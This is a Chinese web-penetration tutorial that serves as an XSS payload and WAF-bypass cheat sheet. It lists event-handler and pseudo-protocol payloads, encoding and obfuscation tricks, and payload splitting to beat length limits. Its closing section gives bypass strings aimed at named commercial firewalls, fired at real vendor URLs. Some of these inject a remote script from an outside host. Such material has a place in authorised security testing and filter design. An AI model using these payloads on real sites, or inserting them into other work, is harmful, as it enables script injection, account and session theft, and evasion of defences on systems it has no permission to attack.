Web渗透实战--XSS 常用语句以及绕过思路
Web渗透实战–XSS 常用语句以及绕过思路
0x01:干货 - XSS 测试常用标签语句
0x0101: 标签
<!-- 点击链接触发 - JavaScript 伪协议 --><a href=javascript:console.log(1)>XSS1</a> <!-- 字符编码绕过 - JavaScript 伪协议 --><a href="javascript:console.log(2)">XSS2</a> <!-- autofocus - 当页面加载时 a 标签自动获得焦点,自动触发 onfoucus 事件--><a href="" onfocus=console.log(3) autofocus>XSS3</a><!-- eval() => 执行字符串(笔者测试了这里不能拆分) --><a href="" onclick=eval('console.log(4)')>XSS4</a><!-- 事件监听,当鼠标划过元素时触发 --><a href="" onmouseover="console.log(5)">XSS5</a><!-- 事件监听,当鼠标划出元素时触发 --><a href="" onmouseout="console.log(6)">XSS6</a>
0x0102: 标签
<!-- audio 标签加载失败时触发 --><audio src=x onerror=console.log(1)> <!-- source - 音频源,当音频源加载失败时触发 --><audio><source src=x onerror=console.log(2)></audio><!-- controls 显示音频控件,显示后通过 autofocus 自动获取焦点,触发 onfocus 事件 --><audio controls onfocus=eval(console.log(3)) autofocus></audio><!-- 事件监听,当鼠标划过元素时触发 --><audio controls onmouseover="console.log(4)"></audio>
0x0103: 标签
<!-- body 标签加载完成时自动触发 --><body onload=console.log(1)></body>
0x0104: 标签
<!-- 事件监听:焦点事件,页面加载完成后,button 标签自动获得焦点,触发 onfocus 事件 --><button onfocus=console.log(1) autofocus>XSS1</button><!-- 下面均为事件监听,不多解释了 --><button onclick=console.log(2)>XSS2</button><button onmouseover=console.log(3)>XSS3</button><button onmouseout=console.log(4)>XSS4</button><button onmouseup=console.log(5)>XSS5</button><button onmousedown=console.log(6)>XSS6</button>
0x0105: 标签
<!-- ontoggle:当 details 元素打开或关闭时执行 --><details ontoggle=console.log(1)></details><!-- open:自动打开,导致触发 ontoggle 事件 --><details ontoggle=console.log(2) open></details>
0x0106:
0x0107: 标签
<!-- 点击按钮时,触发 action 操作 --><form method="post" action="javascript:alert(1)"><input type=submit></form><!-- 伪协议触发,没看头 --><form method="post" action="javascript:" onmouseover=console.log(1)><input type=submit></form><form method="post" action="javascript:" onmouseout=console.log(2)><input type=submit></form><form method="post" action="javascript:" onmouseup=console.log(3)><input type=submit></form>
0x0108: 标签
<!-- JavaScript 伪协议 - 加载时自动触发 --><iframe src=javascript:console.log(1);></iframe><!-- dataURL 伪协议 - 加载时自动触发 --><iframe src="data:text/html;base64,PHNjcmlwdD5jb25zb2xlLmxvZygyKTwvc2NyaXB0Pg=="></iframe><!-- 下面均为事件监听触发,没有什么新意 --><iframe onload=console.log(3)></iframe><iframe onmouseover=console.log(4)></iframe>
0x0109: 标签
<!-- 图片加载失败时触发 onerror 事件 -->
<img src=x onerror=console.log(1)>
<img src=x onerror=eval("console.log(2)")>
<!-- 下面均为事件监听触发,没有什么新意,就不讲了 -->
<img src=x onmouseover=console.log(3)>
<img src=x onmouseout=console.log(4)>
<img src=x onclick=console.log(5)>
0x0110: 标签
<!-- 页面加载完成后,下面的 Input 标签自动获得焦点,触发 onfocus 事件 -->
<input onfocus=console.log(1) autofocus>
<!-- 下面均为事件监听触发 -->
<input onclick=console.log(2)>
<input onmouseover=console.log(3)>
<input onmousemove=console.log(4)>
<input type="text" onkeydown=console.log(5)></input>
<input type="text" onkeypress=console.log(6)></input>
<input type="text" onkeydown=console.log(7)></input>
0x0111: 标签
<!-- object + dataURL 伪协议 -->
<object data="data:text/html;base64,PHNjcmlwdD5jb25zb2xlLmxvZygxKTwvc2NyaXB0Pg=="></object>
0x0112:
标签
<!-- 下面均为事件监听触发 -->
<p onclick=console.log(1)>XSS1</p>
<p onmouseover=console.log(2)>XSS2</p>
<p onmouseout=console.log(3)>XSS3</p>
<p onmouseup=console.log(4)>XSS4</p>
0x0113:
0x0114: 标签
<!-- 页面加载完成后,自动将焦点聚在 select 标签,触发 onfocus 事件 -->
<select onfocus=console.log(1) autofocus></select>
<!-- 下面均为事件监听触发 -->
<select onmouseover=console.log(2)></select>
<select onclick=eval("console.log(3)")></select>
0x0115:
0x0116: 标签
<!-- 下面为 0 点击,自动触发 -->
<video src=x onerror=console.log(1)></video>
<video><source onerror=console.log(2)></video>
<video controls onfocus=console.log(3) autofocus></video>
<!-- 下面均为事件监听触发 - 需要互动 -->
<video controls onclick=console.log(4)></video>
<video controls onmouseover=console.log(5)></video>
0x02:思路 - XSS 触发方式分析
XSS 攻击,就要涉及到 XSS 代码的执行,要执行就需要有触发点,该部分主要是分析一下 XSS 攻击的各种触发方式,做到以不变应万变。
0x0201:内联脚本类型
这种事最直接的方式,在 HTML 标签中直接使用
0x0202:外部脚本类型
该方式通过将 JavaScript 代码放到单独的文件中,然后在 HTML 文档中通过
例如,在你服务器的根目录站点(域名:blue17.vip)下有一个你写的 script.js 文件,你可以这样引入:
0x0203:通过 HTML 事件属性
该方式通过在 HTML 元素的事件属性中嵌入 JavaScript 代码片段,当对应的事件触发时,相应的 JavaScript 脚本也会执行。例如,当点击按钮时弹出消息框:
Click me
HTML 事件属性参考下面的手册:
HTML 事件参考手册https://www.w3school.com.cn/tags/html_ref_eventattributes.asp
几乎所有的 HTML 元素都可以通过添加事件属性的方式来使其执行 JavaScript 代码,其中也包括自己定义的标签,比如下面的标签,当我们鼠标划过时,也会触发事件属性进行弹窗:
<blue17 οnmοuseοver=alert(‘Blue17’)>Blue17
各种 on事件触发js代码 - sherryChang - 博客园【转】各种 on事件触发js代码1、onmouseenter:当鼠标进入选区执行代码1234562、onmouseleave:当鼠标离开选区执行代码1234563、onmousewheel:当鼠标在选区滚轮时执行代码1234564、onscroll:拖动滚动条执行代码1234565、onfocusihttps://www.cnblogs.com/ssrsblogs/p/on_js.html
0x0204:通过 HTML 标签属性
部分 HTML 标签携带的标签属性可以执行 JavaScript 脚本,有的甚至是在网页加载时自动触发的,该部分的内容就是汇总一下此类标签:
<!-- href 属性触发 -->
<a href=javascript:console.log(1)>XSS1</a>
<!-- action 属性触发 -->
<form method="post" action="javascript:console.log(2)"><input type=submit></form>
<!-- data 属性触发 - 加载时自动触发 -->
<object data="data:text/html;base64,PHNjcmlwdD5jb25zb2xlLmxvZygzKTwvc2NyaXB0Pg=="></object>
<!-- src 属性触发 - 加载时自动触发 -->
<iframe src=javascript:console.log(4);></iframe>
0x03:思路 - XSS WAF 绕过技巧(通用)
0x0301:大小写绕过
大小写绕过针对的是后端匹配敏感字符未考虑大小写语义一样的情况,比如
0x0302:双写绕过 / 关键词置空绕过
双写绕过针对的是后端对敏感字符做替换的情况,比如将 script 替换为空(如果替换为其他字符,双写绕过也没用)。
<script>console.log(1)</script>
=> <!-- 将 script 双写以达到绕过的目的 -->
<scrscriptipt>console.log(1)</scrscriptipt>
0x0303:等价字符 / 函数替换 & 字符混淆
- 空格过滤绕过 + 字符混淆
原始 Pyalod:<img src οnerrοr=alert(1)>
添加占位符后:<img A A Asrc A A Aonerror B B B= B B Balert C C C(1) D D D
$A$ 可以使用:/、/ksj123/、%09、%0a、%0c、%0d、%20 进行填充。其中以 % 号开头的字符为十六进制字符,需要通过 URL 传递(或者手动修改字符十六进制值)。$B$ 可以使用:%09、%0A、%0C、%0D、%20 进行填充。$C$ 可以使用:%0B、/*ksj123*/ 进行填充。如果攻击 Payload 为:οnerrοr="alert$C$(1)"则可以使用 %09、%0A、%0C、%0D、%20 进行填充。$D$ 可以使用:%09、%0A、%0C、%0D、%20、//、> 进行填充。
还可以使用括号分割:(alert)(/xss/)、((alert))(/xss/)
2. 圆括号过滤绕过
若 alert(1) 函数中的 () 被过滤了,可以考虑使用下面的方式进行绕过:
<!-- 反引号替换 -->
<script>alert`1`</script>
<!-- throw 绕过 -->
<video src onerror="javascript:window.onerror=alert;throw 1">
<svg onload="window.onerror=eval;throw'=alert\x281\x29';">
- 单引号过滤绕过
若 alert(‘xss’) 中的 ‘’ 被过滤了,可以考虑使用下面的方式进行绕过:
<!-- 斜杠替换 -->
<script>alert(/xss/)</script>
<!-- 反引号替换 -->
<script>alert(`xss`)</script>
- XSS POC(alert)过滤绕过
若测试时发现 XSS 验证函数 alert() 被过滤了,可以考虑使用下面的函数来完成验证:
<!-- prompt - 显示一个用户可进行输入的对话框 -->
<script>prompt(/xss/)</script>
<!-- confirm - 显示一个包含消息、确定按钮和取消按钮的对话框 -->
<script>confirm(/xss/)</script>
<!-- console.log - 在控制台中输出消息 -->
<script>console.log(1)</script>
<!-- document.write - 往 HTML 文档对象中写入内容 -->
<script>document.write(1)</script>
<!-- base64 绕过 -->
<img src=x onerror="Function`a${atob`YWxlcnQoMSk=`}```">
<img src=x onerror="``.constructor.constructor`a${atob`YWxlcnQoMSk=`}```">
- eval 过滤绕过
若测试时发现 eval() 函数被过滤了,可以考虑使用下面的函数来执行 XSS 攻击:
<img src="x" onerror="eval(alert(1))">
<img src="x" onerror="open(alert(1))">
<img src="x" onerror="document.write(alert(1))">
<img src="x" onerror="setTimeout(alert(1))">
<img src="x" onerror="setInterval(alert(1))">
<img src="x" onerror="Set.constructor(alert(1))">
<img src="x" onerror="Map.constructor(alert(1))">
<img src="x" onerror="Array.constructor(alert(1))">
<img src="x" onerror="WeakSet.constructor(alert(1))">
<img src="x" onerror="constructor.constructor(alert(1))">
<img src="x" onerror="[1].map(alert(1))">
<img src="x" onerror="[1].find(alert(1))">
<img src="x" onerror="[1].every(alert(1))">
<img src="x" onerror="[1].filter(alert(1))">
<img src="x" onerror="[1].forEach(alert(1))">
<img src="x" onerror="[1].findIndex(alert(1))">
0x0304:编码绕过
编码解码 - Utf-16编码解码 - Utf-32编码解码 - Base64编码解码全能编码解码https://bianma.bmcx.com/
- HTML 实体编码
1.1 HTML 实体编码 - 理论部分
HTML 实体常常用于显示保留字符(这些字符会被解析为 HTML 代码进而造成 html 标记解析错误,如 < 与 >)和不可见的字符(如:不换行空格)。
HTML 实体是一段以连字号(&)开头、以分号(;)结尾的文本(字符串)。其又可以分为命名实体与字符编码两种类型。
命名实体: 以 & 开头,以分号结尾的,例如 < 的编码是 <。(此种编码无法利用)字符编码: 十进制、十六进制 ASCII 码或 Unicode 字符编码,样式为 &#数值;,例如 < 可以编码为 <(十进制) 和 <(十六进制)ASCII 码与 Unicode 字符编码ASCII 码(美国信息交换标准代码),是一个基于拉丁字母的计算机字符编码标准,主要用于显示现代英语和其他西欧语言。ASCII 码使用 7 位二进制数(bits)来表示共 128 个字符,这些字符包括英文字母(大小写)、数字 0 ~ 9、标点符号、控制字符等。Unicode 是一个为了解决传统字符编码方案的局限而产生的,它为世界上几乎所有的文字都定义了唯一的的数字代码,以确保文本在不同系统之间可以无差错的转换和显示。由于 ASCII 码已经广泛使用并且很好地满足了英文字符的编码需求,Unicode 在设计时决定保留 ASCII 编码的字符集,并将其作为 Unicode 编码的一个子集。因此,Unicode 编码的前 128 个字符(即 U+0000 到 U+007F)与 ASCII 码表中的字符一一对应。这使得旧的、基于 ASCII 的系统可以无缝地升级到支持 Unicode 的系统,同时保持对 ASCII 字符的兼容性。
https://symbl.cc/cn/unicode-table/https://symbl.cc/cn/unicode-table/
1.2 HTML 实体编码 - 实战部分
在线Html实体编码解码-HTML Entity Encoding/Decoding在线Html实体编码,Html实体转换,字符转Html实体,Html实体编码(16进制),Html实体编码(10进制)https://config.net.cn/tools/HtmlEncode.html
当可控点为单个标签属性时,可以使用 HTML 实体编码( X S S XSS XSS 为标注的可控点):
<a href="$XSS$">test</a><iframe src="$XSS$">test<iframe>
<img src=x onerror="$XSS$">
编码流程如下 (Payload 中的 " 号可以去掉,但是不能对其进行 HTML 编码):
原始 Payload:<a href="javascript:alert(1)">test</a>十进制字符编码后的 Payload:<a href="javascript:alert(1)">test</a>十六进制字符编码后的 Payload:<a href="javascript:alert(1)">test</a>变种 - 去除分号后的 Pyalod:<a href="javascript:alert(1)">test</a>变种 - 任意填充多位 0 后的 Pyalod:<a href="javascript:alert(1)">test</a>
- URL 编码
2.1 URL 编码 - 理论部分
一个完整的 URL 结构如下图所示(很多人都没见过完整的,笔者也是):
可以看到,浏览器解析 URL 时,会依靠 :、/、@、?、=、# 这些字符来做语义的分割,来确定每部分内容对应的含义,所以上面的那些字符对于浏览器而言就是保留字符。如果我们在 URL 中的某个部分传递的参数中,用到了这些保留字符,就有可能会破坏 URL 的语法,影响服务端的正常解析。
举个例子,假设我想在查询参数的位置传入&Blue17&,我该怎么传递?如果直接拼接会出现这样的情况:?query-key=&Blue17&,后端实际接收的是:query-key=“” 和 Blue17=“”,这与我们的要求不符,如下图所示:
为了解决上述这种问题,URL 编码应运而生。
URL 编码URL 编码(也称为百分比编码)是一种编码机制,用于在 URL(统一资源标识符)中嵌入特定字符。由于 URL 中某些字符具有特殊含义,或者可能被传输系统误解,因此需要将这些字符转换为一种可以安全传输的格式。URL 编码使用百分比符号 % 后跟两位十六进制数来标识这些字符。URL 编码流程 - 理论:将字符转换为 ASCII 码: ASCII 码表(基本 ASCII 码 + 扩展 ASCII 码)将 ASCII 码转换为十六进制: 进制转换器 - 在线工具添加百分比符号: 在转换完成后的十六进制数前添加 % 号符号。URL 编码流程 - 实操:将字符转换为 ASCII 码: 查表发现 & 的 ASCII 码值为(十进制) 38将 ASCII 码转换为十六进制: 十进制 38 转换为十六进制后为 26添加百分比符号: 添加百分比符号后结果为:%26
所以当我想向后端传递 &Blue17& 这个值的话,我应该传递(经过 URL 编码):%26Blue17%26:
2.2 URL 编码 - 实战部分
在线url网址编码、解码(ES JSON在线工具)在线URL编码解码工具:对网址Url进行UrlEncode编码转换,UrlEncode编码,UrlDecode解码,方便开发人员进行操作http://www.esjson.com/urlEncode.html
当可控点存在 href 属性或者 src 属性时,可以使用 URL 编码($XSS 为标注的可控点):
<a href="$XSS$">test</a><ifram src="$XSS$">test</ifram>
编码流程如下:
原始 Payload:<a href="javascript:alert(1)">test</a>URL 编码后的 Payload(适合 POST 型提交):<a href="javascript:%61%6c%65%72%74%28%31%29">test</a>二次 URL 编码 Payload(适合 GET 型提交):<a href="javascript:%2561%256c%2565%2572%2574%2528%2531%2529">test</a>注意:URL 解析过程中,不能对协议类型进行任何的编码操作,所以 javascript: 协议头需要保留。
- JS 编码
3.1 JS 编码 - 理论部分
JS 提供了四种字符编码的策略,如下所示(字符对应的数字可以查看 ASCII 码表或 Unicode 表:
\ 加上三个八进制数字,如果个数不够,前面补 0,例如 < 编码为 \074\x 加上两个十六进制数字,如果个数不够,前面补 0,例如 < 编码为 \x3c\u 加上四个十六进制数字,如果个数不够,前面补 0,例如 < 编码为 \u003c对于一些控制字符,使用特殊的 C 类型的转义风格(例如 \n 和 \r)JS 编码注意事项JS 编码解码的时候字符或者字符串仅会被解码为字符串文本或者标识符名称。例如,JS 解析器工作的时候会将 \u0061\u006c\u0065\u0072\u0074 解析为 alert,而 alert 是一个有效的标识符名称,它是能被正常解析的。但是像圆括号 ()、双引号 ""、单引号 ' 等等这些字符就只能被当作普通的文本,从而导致无法执行。由于 JS 是最后进行解析的,所以如果使用混合编码,需要先使用 JS 编码再进行 URL 编码或者 HTML 实体编码。
3.2 JS 编码 - 实战部分
下面的 X S S XSS XSS 为标注的可控点:
<img src=x onerror="$XSS$"><input onfocus="$XSS$" autofocus>
Unicode 版 - 编码流程如下 (可以通过 Unicode 对函数进行编码):
原始 Payload 1:<img src=x onerror="alert(1)">
<!-- () 号在 JS 编码中是会被作为普通文本的,此处演示如何二次触发 JS 编码,从而将()也绕过 -->
原始 Payload 2:<input onfocus=location="javascript:alert(1)" autofocus>Unicode JS 编码后的 Payload1:<img src=x onerror="\u0061\u006c\u0065\u0072\u0074(1)">Unicode JS 编码后的 Payload2: <input onfocus=\u006c\u006f\u0063\u0061\u0074\u0069\u006f\u006e="\u006a\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003a\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029" autofocus>注意:Unicode 编码时,只能对有效的标识符进行编码 ,非标识符解码后不能解析执行。 例如 javascript:alert(1),进行 Unicode 编码时,只能对 alert 和 1 进行编码,小括号编码后会被当成文本字符,不能执行。
ASCII 八进制和十六进制 - 编码流程如下 (只能对特定函数传递的参数进行编码):
原始 Payload:<svg onload=setTimeout('alert(1)')>八进制 JS 编码后的 Payload:<svg onload=setTimeout('\141\154\145\162\164\050\061\051')>
十六进制 JS 编码后的 Payload:<svg onload=setTimeout('\x61\x6c\x65\x72\x74\x28\x31\x29')>
Unicode JS 编码后的 Payload:<svg onload=setTimeout('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029')>注意:ASCII 八进制和十六进制编码只能用于对特定函数传递的参数进行编码。特定函数包括:eval()、setTimeout() 以及其他可以执行传递参数的函数。假设我传递 eval("alert(1)") 那么对于 alert(1) 我可以对其进行八进制、十六进制或者 Unicode 编码(双引号无法进行编码)。
- 混合编码
由于浏览器解码顺序为 HTML 解析 —— URL 解析 —— JS 解析(HTML 与 URL 的解码顺序在一些情况下可以颠倒),所以我们可以通过编码方式进行组合绕过。
解码顺序为 HTML 解码 => URL 解码 => JS 解码,那么编码顺序就是其逆过程(要保证代码语义不变)。
所以编码顺序应该为:JS 编码 => URL 编码 => HTML 编码,看如下示例:
原始 Payload 1.0:
<a href="javascript:alert(/xss/)">Blue17</a>对 Payload 1.0 进行 JS Unicode 编码(小括号无法编码)后的 Payload 2.0:
<a href="javascript:\u0061\u006c\u0065\u0072\u0074(/xss/)">Blue17</a>对 Payload 2.0 javascript: 伪协议传参部分进行 URL 一次编码后的 Payload 3.0:
<a href="javascript:%5Cu0061%5Cu006c%5Cu0065%5Cu0072%5Cu0074(%2Fxss%2F)">Blue17</a>对 Payload 3.0 href 传参部分整体进行 HTML 编码的 Payload 4.0(小括号没了):
<a href="javascript:%5Cu0061%5Cu006c%5Cu0065%5Cu0072%5Cu0074(%2Fxss%2F)">Blue17</a>如果是通过 GET 方式传参,还有 Payload 5.0,对 Payload 4.0 整体进行 URL 二次编码:
%3Ca%20href%3D%22%26%23106%3B%26%2397%3B%26%23118%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2358%3B%26%2337%3B%26%2353%3B%26%2367%3B%26%23117%3B%26%2348%3B%26%2348%3B%26%2354%3B%26%2349%3B%26%2337%3B%26%2353%3B%26%2367%3B%26%23117%3B%26%2348%3B%26%2348%3B%26%2354%3B%26%2399%3B%26%2337%3B%26%2353%3B%26%2367%3B%26%23117%3B%26%2348%3B%26%2348%3B%26%2354%3B%26%2353%3B%26%2337%3B%26%2353%3B%26%2367%3B%26%23117%3B%26%2348%3B%26%2348%3B%26%2355%3B%26%2350%3B%26%2337%3B%26%2353%3B%26%2367%3B%26%23117%3B%26%2348%3B%26%2348%3B%26%2355%3B%26%2352%3B%26%2340%3B%26%2337%3B%26%2350%3B%26%2370%3B%26%23120%3B%26%23115%3B%26%23115%3B%26%2337%3B%26%2350%3B%26%2370%3B%26%2341%3B%22%3EBlue17%3C%2Fa%3E
上述示例中的 Payload 1.0 - Payload 4.0 均可以在浏览器中直接运行,但是 Payload 5.0 需要通过 URL 传递(此时浏览器的解析过程为:URL 解码 => HTML 解码 => URL 解码 => JS 解码)。
混合编码注意事项通过 HTML 标签属性(如 href、src)触发的 XSS 可以使用三种混合编码。通过 HTML 事件属性(on 事件)触发的 XSS,可以使用 HTML 实体编码和 JS 编码混合,但 URL 编码在该情况下不会被解析。
- Base64 编码绕过
Base64 编码/解码 - 锤子在线工具此工具是一个 Base64 编码或解码在线工具,实现把字符串转成 Base64 或者从 Base64 转成成字符串。https://www.toolhelper.cn/EncodeDecode/Base64
5.1 Base64 + data 伪协议
XSS 攻击中的 Base64 通常与 data 伪协议一起出现(有编码就有解码,data 伪协议可以解码)。
data 伪协议的使用格式如下所示:
data:[][;base64],
下面演示一下基于 Base64 + data 伪协议 的 XSS 攻击 Payload:
<script>alert(/xss/)</script> => <!-- Base64 编码后 --> => PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=<!-- 1. <object> 标签 -->
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object><!-- 2. <a> 标签 - 新版浏览器不支持 -->
<a href="data:text/html;base64, PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=">test</a><!-- 3. <iframe> 标签 -->
<iframe src="data:text/html;base64, PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></iframe><!-- 4. <embed> 标签 -->
<embed src="data:text/html;base64, PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></embed>
5.2 Base64 + atob 函数
atob() 函数用于解码 base64 编码的字符串:
atob() 函数的逆运算函数为 btoa()(即进行 Base64 编码的函数):
下面演示一下基于 Base64 + atob() 函数的 XSS 攻击的 Payload:
<a href=javascript:eval(atob('YWxlcnQoMSk='))>test</a>
<a href=javascript:eval(window.atob('YWxlcnQoMSk='))>test</a>
<a href=javascript:eval(window['atob']('YWxlcnQoMSk='))>test</a>
<img src=x onmouseover="eval(window.atob('YWxlcnQoMSk='))">
<img src=x onerror="eval(atob('YWxlcnQoMSk='))">
<iframe src="javascript:eval(window['atob']('YWxlcnQoMSk='))"></iframe>
- ASCII 编码绕过
ASCII 编码一般配合 String.fromCharCode() 函数(将 ASCII 码值转换成对应字符并拼接)使用:
基于 ASCII 编码 + String.fromCharCode() 函数的 XSS 攻击 Payload:
<!-- 十进制 ASCII 码 -->
<a href='javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))'>test</a><!-- 十六进制 ASCII 码 -->
<a href='javascript:eval(String.fromCharCode(0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x31, 0x29))'>test</a>
0x0305:函数拼接绕过
<!-- eval() 函数 --><img src="x" onerror="eval('al'+'ert(1)')"><!-- top -->
<img src="x" onerror="top['al'+'ert'](1)"><!-- window -->
<img src="x" onerror="window['al'+'ert'](1)"><!-- self -->
<img src="x" onerror="self[`al`+`ert`](1)"><!-- parent -->
<img src="x" onerror="parent[`al`+`ert`](1)"><!-- frames -->
<img src="x" onerror="frames[`al`+`ert`](1)"><!-- 赋值拼接 -->
<img src onerror=_=alert,_(1)>
<img src x=al y=ert onerror=top[x+y](1)>
<img src onerror=top[a='al',b='ev',b+a]('alert(1)')>
<img src onerror=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)>
0x0306:长度限制绕过 - 拆分法
当 WEB 应用程序对用户输入的长度进行了限制,导致我们无法一次性将 Payload 提交时,在特定情况下,我们可以采用少量多次的方法,通过拆分 Payload 提交来达到注入攻击的目的:
<script>a = 'document.write("'</script>
<script>a = a + '<script>aler'</script>
<script>a = a + 't(1)</scr'</script>
<script>a = a + 'ipt>")'</script>
<script>eval(a)</script>
通过上面的拆分法可以拼凑出下面完整的攻击向量:
0x04:干货 - XSS WAF 绕过技巧(针对)
此部分的内容笔者还没有测试过,属于是从网上当下来的,不过遇到的时候可以试试:
0x0401:安全狗
http://www.safedog.cn/index/privateSolutionIndex.html?tab=2<video/src/onerror=top[`al`%2B`ert`](1);>
http://www.safedog.cn/index/privateSolutionIndex.html?tab=2<video/src/onerror=appendChild(createElement("script")).src="//z.cn">
0x0402:D 盾
http://www.d99net.net/News.asp?id=126<video/src/onloadstart=top[`al`%2B`ert`](1);>
http://www.d99net.net/News.asp?id=126<video/src/onloadstart=top[a='al',b='ev',b%2ba](appendChild(createElement(`script`)).src=`//z.cn`);>
0x0403:云锁 + 奇安信 WAF
http://www.yunsuo.com.cn/ht/dynamic/20190903/259.html?id=1<video/src/onloadstart=top[`al`%2B`ert`](1);>
http://www.yunsuo.com.cn/ht/dynamic/20190903/259.html?id=1<video/src/onloadstart=top[a='al',b='ev',b%2ba](appendChild(createElement(`script`)).src=`//z.cn`);>
0x05:参考资料
0x0501:XSS 绕过 - 实操依据
xss 常用标签及绕过姿势总结 - FreeBuf网络安全行业门户xss 常用标签及绕过姿势总结https://www.freebuf.com/articles/web/340080.html
绕过XSS过滤姿势总结 - zha0gongz1 - 博客园0x00 XSS基本测试流程 原则是“见框就插”,多动手,这里分享几个经典测试payload: "><svg/οnlοad=alert(1)// 具体引用外部js的代码姿势是: <svg/οnlοad=s=createElement(‘script’);bhttps://www.cnblogs.com/zha0gongz1/p/12732356.html
0x0502:XSS 绕过 - 理论依据
浏览器解析与编码顺序及xss挖掘绕过全汇总-腾讯云开发者社区-腾讯云在以往的培训和渗透过程中,发现很多渗透人员尤其是初学者在挖掘xss漏洞时,很容易混淆浏览器解析顺序和解码顺序,对于html和js编码、解码和浏览器解析顺序、哪些元素可以解码、是否可以借助编码绕过等情况也基本处于混沌的状态,导致最终只能扔一堆payload上去碰碰运气。这篇文章就把浏览器解析顺序、编码解码的类型、各种解码…https://cloud.tencent.com/developer/article/1516371
跟我一起探索HTTP- 什么是Data URL_demo007x的技术博客_51CTO博客跟我一起探索HTTP- 什么是Data URL,DataURL,即前缀为data:协议的URL,其允许内容创建者向文档中嵌入小文件。它们之前被称作“dataURI”。现代浏览器将DataURL视作唯一的不透明来源,而不是可以用于导航的URL。https://blog.51cto.com/demo007x/6263730
0x0503:XSS 绕过 - 辅助工具
ASCII码 - 基本ASCII码和扩展ASCII码,中文最全ASCII码对照表0~255ASCII (American Standard Code for Information Interchange,美国信息交换标准代码)是基于拉丁字母的一套电脑编码系统,主要用于显示现代英语和其他西欧语言。它是现今最通用的单字节编码系统,并等同于国际标准ISO/IEC 646。https://www.asciim.cn/
各种 on事件触发js代码 - sherryChang - 博客园【转】各种 on事件触发js代码1、onmouseenter:当鼠标进入选区执行代码1234562、onmouseleave:当鼠标离开选区执行代码1234563、onmousewheel:当鼠标在选区滚轮时执行代码1234564、onscroll:拖动滚动条执行代码1234565、onfocusihttps://www.cnblogs.com/ssrsblogs/p/on_js.html
编码解码 - Utf-16编码解码 - Utf-32编码解码 - Base64编码解码全能编码解码https://bianma.bmcx.com/
相关文章:
Web渗透实战--XSS 常用语句以及绕过思路
Web渗透实战–XSS 常用语句以及绕过思路 0x01:干货 - XSS 测试常用标签语句 0x0101: 标签 <!-- 点击链接触发 - JavaScript 伪协议 --><a hrefjavascript:console.log(1)>XSS1</a> <!-- 字符编码绕过 - JavaScript 伪协议 -->&…...
哈希表-两个数的交集
代码随想录-刷题笔记 349. 两个数组的交集 - 力扣(LeetCode) 内容: 集合的使用 , 重复的数剔除掉,剩下的即为交集,最后加入数组即可。 class Solution {public int[] intersection(int[] nums1, int[] nums2) {Set<Integer…...
“数字+实体“双引擎发力树莓集团打造翠屏区首个智慧产业孵化标杆
2025 年 2 月 13 日,宜宾市翠屏区招商引资项目集中签约活动圆满举行。树莓集团产业合作总监童曦鸣代表企业出席并签约,将在翠屏区打造数字经济示范项目。 此次签约,树莓集团将以 “数字 实体” 双引擎发力。在数字产业化方面,凭…...
PostgreSQL 数据库压力测试指南
一、为什么需要压力测试? 数据库需要进行压力测试的原因主要包括以下几个方面: 性能评估:通过压力测试,可以了解数据库在高负载情况下的性能表现,包括响应时间、吞吐量和资源利用率等。这有助于确定系统的性能瓶颈。 …...
npm : 无法加载文件 C:\nvm\v20.11.1\npm.ps1,因为在此系统上禁止运行脚本。有关详细信息,请参阅
在vscode中运行前端项目时npm run dev 报错:npm : 无法加载文件 C:\nvm\v20.11.1\npm.ps1,因为在此系统上禁止运行脚本。有关详细信息,请参阅 https:/go.microsoft.com/fwlink/?LinkID135170 中的 about_Execution_Policies。 所在位置 行:1…...
-bash:/usr/bin/rm: Argument list too long 解决办法
问题概述 小文件日志太多导致无法使用rm命令,因为命令行参数列表的长度超过了系统允许的最大值。 需要删除/tmp目录下的所有文件,文件数量比较多。 ls -lt /tmp | wc -l 5682452 解决方法如下: 使用find -exec 遍历,然后执行删…...
【deepseek 部署中的常见问题及解决方案--亲测有效】
deepseek 部署中的常见问题及解决方案 一、环境与安装相关问题二、配置相关问题三、运行与性能问题四、其他常见问题 一、环境与安装相关问题 Python版本不兼容 问题描述:在部署DeepSeek时,系统提示Python版本不兼容。解决方法:DeepSeek推荐…...
【React】react-redux+redux-toolkit实现状态管理
安装 npm install reduxjs/toolkit react-reduxRedux Toolkit 是官方推荐编写Redux的逻辑方式,用于简化书写方式React-redux 用来链接Redux和React组件之间的中间件 使用 定义数据 创建要管理的数据模块 store/module/counter.ts import { createSlice, Payloa…...
LabVIEW用户界面(UI)和用户体验(UX)设计
作为一名 LabVIEW 开发者,满足功能需求、保障使用便捷与灵活只是基础要求。在如今这个用户体验至上的时代,为 LabVIEW 应用程序设计直观且具有美学感的界面,同样是不容忽视的关键任务。一个优秀的界面设计,不仅能提升用户对程序的…...
期权帮 | 场外个股期权可以做吗,风险高吗?
锦鲤三三每日分享期权知识,帮助期权新手及时有效地掌握即市趋势与新资讯! 场外个股期权可以做吗,风险高吗? 场外个股期权,就是在正式的交易所之外进行交易的个股期权。 注:这里的“场外”指的是这类交易不在像沪深…...
【Viper】配置格式与支持的数据源与go案例
Viper 是一个用于 Go 应用程序的配置管理库,支持多种配置格式和数据源。 安装依赖 go get github.com/spf13/viper go get github.com/spf13/viper/remote go get go.etcd.io/etcd/client/v3"github.com/spf13/viper/remote"要写在etcd客户端import里 1…...
【工具变量】地级市数字基础设施水平数据(2003-2024年)
一、数据来源:数据涵盖了2003-2024年间地级市新型数字基础设施的发展水平测量值。数据的核心来自地方政府工作报告中提及的相关词汇,并通过对这些报告的分词和频次统计,得出每个城市在该领域的数字基础设施发展水平。 数据覆盖全国285个地级市…...
Ae:常见的光照控件和材质控件
